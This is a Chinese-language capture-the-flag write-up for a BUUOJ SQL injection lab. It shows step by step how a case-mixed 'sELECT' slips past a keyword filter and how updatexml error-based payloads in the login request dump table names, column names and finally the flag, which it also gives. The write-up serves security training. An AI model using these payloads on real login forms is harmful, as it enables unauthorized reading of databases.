目录
题目链接:
题目解析:
得到flag:
题目链接:
https://buuoj.cn/challenges#[%E7%AC%AC%E4%B8%80%E7%AB%A0%20web%E5%85%A5%E9%97%A8]SQL%E6%B3%A8%E5%85%A5-2
题目解析:
注意查看细节,发现题目中有一处请访问,在上图标记的位置
我们按提示分别访问/login.php 和 /user.php 去看看
进入页面后习惯性地查看源代码发现有一行注释提示,告诉我们:
可以在url后加入?tips=1 开启mysql错误提示,使用burp发包就可以看到啦
另一个页面则就只有一行 login first,没有太多用处
页面提交的账号密码,在burp中抓到这个包,使用Ctrl+r将数据发送到repeater进行重发送
然后在burp中的login.php后添加?tips=1,Send发送查看现象
正常send提示账号不存在
使用普通payload:,发现是select被过滤了 (密码写啥都行,因为前面注释掉密码了)
name=1'and updatexml(1,concat(0x7e,(select 1 from dual)),1)--+&pass=xxxx
尝试一下大小写绕过,成功得到正常回显
name=1'and updatexml(1,concat(0x7e,(sELECT 1 from dual)),1)--+&pass=1' and 1=2 --+
查表名:
将sELEct后的1改为group_concat(table_name),dual改为information_schema.tables where table_schema=database()以查看所有表名
得到pyload:
name=1'and updatexml(1,concat(0x7e,(sELECT group_concat(table_name) from information_schema.tables where table_schema=database())),1)--+&pass=1' and 1=2 --+
查看fl4g的字段:
要看fl4g的字段,分别改为把之前的两个地方改为group_concat(column_name)和information_schema.columns where table_name=‘fl4g’
得到pyload:
name=1'and updatexml(1,concat(0x7e,(sELECT group_concat(column_name) from information_schema.columns where table_name='fl4g')),1)--+&pass=1' and 1=2 --+
查看字段获取flag:
payload:
name=1'and updatexml(1,concat(0x7e,(sELECT flag from fl4g)),1)--+&pass=1' and 1=2 --+
得到flag:
n1book{login_sqli_is_nice}
*题目原理*
1、有的网站会开启错误调试信息方便开发者调试,可以利用报错信息进行报错注入
2、updatexml第二个参数应为合法XPATH路径,否则会在引发报错的同时输出传入的参数
3、dual用于测试数据库是否可以正常使用
4、如果没有报错提示,可以bool注入